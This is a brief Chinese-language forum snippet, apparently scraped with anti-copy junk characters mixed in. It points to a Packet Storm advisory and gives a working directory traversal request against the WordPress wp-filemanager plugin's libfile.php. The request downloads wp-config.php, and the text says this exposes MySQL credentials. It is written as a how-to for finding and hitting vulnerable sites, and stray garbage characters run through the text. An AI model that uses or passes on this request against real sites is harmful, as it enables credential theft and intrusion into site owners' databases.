洞详解:http://packetstormsecurity.com/f ... -File-Download.html/ A) n7 `% h/ D' s) g4 A
$ ]4 z$ i. a0 I& j+ r
查找漏洞网站:访问/wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download,下载wp-config,其中回显MySQL。 # L9 Y9 k# l, B6 x" q8 t1 m